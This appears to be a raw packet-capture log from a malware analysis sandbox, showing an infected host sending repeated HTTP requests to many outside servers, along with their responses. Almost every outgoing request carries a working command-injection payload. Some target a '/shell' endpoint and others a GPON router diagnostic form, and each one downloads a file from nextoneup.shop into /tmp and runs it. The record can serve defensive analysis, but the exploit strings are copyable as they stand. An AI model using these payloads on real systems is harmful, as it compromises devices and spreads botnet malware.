65 72 76 65 72 2e 3c 2f 70 3e 3c 70 3e 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 3c 68 32 3e 45 72 72 6f 72 20 34 30 34 3c 2f 68 32 3e 3c 70 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 65 72 76 65 72 22 3e 53 6f 6e 69 63 57 61 6c 6c 20 53 65 72 76 65 72 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>File not found!</title><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; }span.url { text-decoration: underline; }p {margin-left: 3em;}span.server {font-size: smaller;}/.../--></style></head><body><h1>File not found!</h1><p>The requested URL <span class="url">/shell?cd /tmp;rm -rf ;wget http://nextoneup.shop/jaws;sh /tmp/jaws</span> was not found on this server.</p><p>If you entered the URL manually please check your spelling and try again.</p><h2>Error 404</h2><p><span class="server">SonicWall Server</span></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1362	192.168.2.13	34908	59.190.129.217	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:55.391834974 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:55.690882921 CEST	293	IN	HTTP/1.1 200 OK Date: Sun, 14 Apr 2024 02:00:55 GMT Server: Apache/2.4.6 (CentOS) PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 41 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3c 70 72 65 3e e3 83 9a e3 83 bc e3 82 b8 e3 81 8c e5 ad 98 e5 9c a8 e3 81 97 e3 81 be e3 81 9b e3 82 93 3c 2f 70 72 65 3e Data Ascii: <pre></pre>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1363	192.168.2.13	54696	51.75.161.197	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:55.396563053 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:56.167593002 CEST	596	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 14 Apr 2024 02:00:55 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.3.16 X-UA-Compatible: IE=edge Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
1364	192.168.2.13	36780	147.135.174.32	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:55.403431892 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:55.709139109 CEST	451	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 14 Apr 2024 02:00:55 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Keep-Alive: timeout=60 Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1365	192.168.2.13	43780	153.122.144.93	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:55.406095028 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1366	192.168.2.13	47834	23.224.94.20	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:55.418936968 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:55.743720055 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:55 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1367	192.168.2.13	41840	192.151.235.198	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:55.425209045 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1368	192.168.2.13	33266	188.59.40.100	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:55.504705906 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:56.184289932 CEST	227	IN	HTTP/1.1 301 Moved Permanently Location: https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Date: Sun, 22 Aug 2021 16:41:50 GMT Server: lighttpd/1.4.35

Session ID	Source IP	Source Port	Destination IP	Destination Port
1369	192.168.2.13	59846	5.251.4.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:55.508748055 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:55.928404093 CEST	29	IN	HTTP/1.1 200 OK
Apr 14, 2024 04:00:55.929219007 CEST	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
1370	192.168.2.13	54062	23.215.200.44	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:55.619402885 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:55.847038031 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:00:55 GMT Date: Sun, 14 Apr 2024 02:00:55 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 62 37 34 33 32 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 35 35 26 23 34 36 3b 33 33 61 62 66 33 65 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 61 62 37 34 33 32 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 35 35 26 23 34 36 3b 33 33 61 62 66 33 65 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.ab743217.1713060055.33abf3e<P>https://errors.edgesuite.net/9.ab743217.1713060055.33abf3e</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1371	192.168.2.13	39472	66.33.220.122	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:55.629564047 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:55.868882895 CEST	1162	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:55 GMT Server: Apache Upgrade: h2 Connection: Upgrade, Keep-Alive Last-Modified: Sat, 13 Apr 2024 21:24:14 GMT ETag: "360-61601028f7b80" Accept-Ranges: bytes Content-Length: 864 Keep-Alive: timeout=5, max=100 Content-Type: text/html Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 74 69 74 6c 65 3e 53 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 6d 69 64 64 6f 74 3b 20 44 72 65 61 6d 48 6f 73 74 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 65 20 6f 77 6e 65 72 20 6f 66 20 74 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 6e 6f 74 20 79 65 74 20 75 70 6c 6f 61 64 65 64 20 74 68 65 69 72 20 77 65 62 73 69 74 65 2e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 2f 64 31 61 36 7a 79 74 73 76 7a 62 37 69 67 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 6e 65 77 70 61 6e 65 6c 2f 63 73 73 2f 73 69 6e 67 6c 65 70 61 67 65 2e 63 73 73 22 20 2f 3e 0a 09 3c 2f 68 65 61 64 3e 0a 0a 09 3c 62 6f 64 79 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 61 67 65 20 70 61 67 65 2d 6d 69 73 73 69 6e 67 22 3e 0a 09 09 09 3c 68 31 3e 53 69 74 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 0a 09 09 09 3c 70 3e 57 65 6c 6c 2c 20 74 68 69 73 20 69 73 20 61 77 6b 77 61 72 64 2e 20 54 68 65 20 73 69 74 65 20 79 6f 75 27 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 69 73 20 6e 6f 74 20 68 65 72 65 2e 3c 2f 70 3e 0a 09 09 09 3c 70 3e 3c 73 6d 61 6c 6c 3e 49 73 20 74 68 69 73 20 79 6f 75 72 20 73 69 74 65 3f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 64 72 65 61 6d 68 6f 73 74 2e 63 6f 6d 2f 68 63 2f 65 6e 2d 75 73 2f 61 72 74 69 63 6c 65 73 2f 32 31 35 36 31 33 35 31 37 22 0a 09 09 09 09 09 09 72 65 6c 3d 22 6e 6f 66 6f 6c 6c 6f 77 22 3e 47 65 74 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 61 3e 20 6f 72 20 3c 61 0a 09 09 09 09 09 09 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 61 6e 65 6c 2e 64 72 65 61 6d 68 6f 73 74 2e 63 6f 6d 2f 69 6e 64 65 78 2e 63 67 69 3f 74 72 65 65 3d 73 75 70 70 6f 72 74 2e 6d 73 67 22 20 72 65 6c 3d 22 6e 6f 66 6f 6c 6c 6f 77 22 3e 63 6f 6e 74 61 63 74 0a 09 09 09 09 09 09 73 75 70 70 6f 72 74 3c 2f 61 3e 2e 3c 2f 73 6d 61 6c 6c 3e 3c 2f 70 3e 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 72 65 61 6d 68 6f 73 74 2e 63 6f 6d 2f 22 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 22 20 72 65 6c 3d 22 6e 6f 66 6f 6c 6c 6f 77 22 3e 44 72 65 61 6d 48 6f 73 74 3c 2f 61 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 3c 2f 62 6f 64 79 3e 0a 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!doctype html><html><head><title>Site not found · DreamHost</title><meta http-equiv="cache-control" content="no-cache" /><meta name="description" content="The owner of this domain has not yet uploaded their website." /><link rel="stylesheet" href="//d1a6zytsvzb7ig.cloudfront.net/newpanel/css/singlepage.css" /></head><body><div class="page page-missing"><h1>Site Not Found</h1><p>Well, this is awkward. The site you're looking for is not here.</p><p><small>Is this your site? <a href="https://help.dreamhost.com/hc/en-us/articles/215613517"rel="nofollow">Get more info</a> or <ahref="https://panel.dreamhost.com/index.cgi?tree=support.msg" rel="nofollow">contactsupport</a>.</small></p><a href="https://www.dreamhost.com/" class="logo" rel="nofollow">DreamHost</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1372	192.168.2.13	60762	38.207.99.217	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:55.749746084 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:57.416248083 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:59.400306940 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:03.336260080 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:11.272214890 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:27.144251108 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1373	192.168.2.13	36730	18.155.109.0	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:55.907978058 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:57.960320950 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:58.362489939 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:00:58 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1374	192.168.2.13	43180	5.221.135.14	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:56.051584005 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1375	192.168.2.13	44952	5.114.223.196	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:56.051614046 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1376	192.168.2.13	57490	154.214.86.243	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:56.730221987 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:58.344398975 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:00.264261961 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:04.104305029 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:11.784358025 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:27.144237995 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1377	192.168.2.13	45098	164.42.150.172	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:57.603559971 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1378	192.168.2.13	41400	51.15.239.17	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:57.919186115 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:58.240062952 CEST	345	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:58 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1379	192.168.2.13	50124	23.67.167.116	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:57.924793959 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
